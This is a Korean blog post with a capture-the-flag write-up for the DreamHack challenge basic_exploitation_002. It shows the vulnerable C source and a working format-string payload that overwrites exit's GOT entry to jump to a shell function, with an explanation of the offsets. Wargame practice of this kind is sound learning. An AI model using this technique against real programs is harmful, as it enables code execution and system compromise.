Recent Posts
Recent Comments
Link
«   2024/12   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[System_Hacking] stage10_문제풀이(basic_exploitation_002) 본문

Hack/DreamHack(로드맵)

[System_Hacking] stage10_문제풀이(basic_exploitation_002)

CIDY 2022. 7. 7. 03:21
// 64-bit, nx, partial relro
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    read(0, buf, 0x80);
    printf(buf);

    exit(0);
}

음... 쉽다.. 라고 생각했는데 32비트라 좀 애를 먹었다.

일단 exit의 got주소를 get_shell로 덮는건 당연함.

32비트는 인자 전달을 완전 스택으로 함 -> buf가 지금 곧 스택에 써 주는 것이기 때문에 exit의 got주소를 포맷 스트링들보다 먼저 보내서 스택 맨 위에 쌓아야 인자로 처리 가능함.

buf = p32(e.got['exit'] + 2)
buf += p32(e.got['exit'])
buf += f"%{0x804 - 0x8}c".encode()
buf += b"%1$hn"
buf += f"%{0x8609 - 0x804}c".encode()
buf += b"%2$hn"


결론적으로 buf는 이렇게 해 줘야 하는데, 일단 buf가 곧 printf에 들어가는 것이기도 해서 첫 두 줄 때문에 printf라 8바이트를 출력한다. -> getshell의 주소가 0x08048609라서 분할하면 0x804를 exit + 2에, 0x8609를 exit에 보내줘야 하는 상황인데 이미 8바이트 출력해버려서 초반 0x804에 0x8을 빼줘야 한다.


그리고 여기서 보면 스택 맨 위에 들어있는 건 buf의 주소(==바로 아래 칸 ㅋㅋ )이다. call바로위에서 lea eax, [ebp - 0x80]한것을 push해준 걸 볼 수 있다. printf호출을 위해 인자를 push한건데, 32비트에서 인자는 오른쪽부터 push되니까 스택 위에서부터 첫 번째 인자, 두 번째 인자.. 이렇게 센다. 근데 포맷 스트링에서 "~~"자체는 인자로 카운트 하지 않으니까 현재 보이는 스택의 두 번째 칸, 즉 got + 2가 첫 번째 인자가 되므로 위와 같은 코드가 나온 것임.

적응하면 무지성으로도 할 수 있는 문제겠지만 오랜만에 32비트를 접해서 약간 헤맸다ㅠ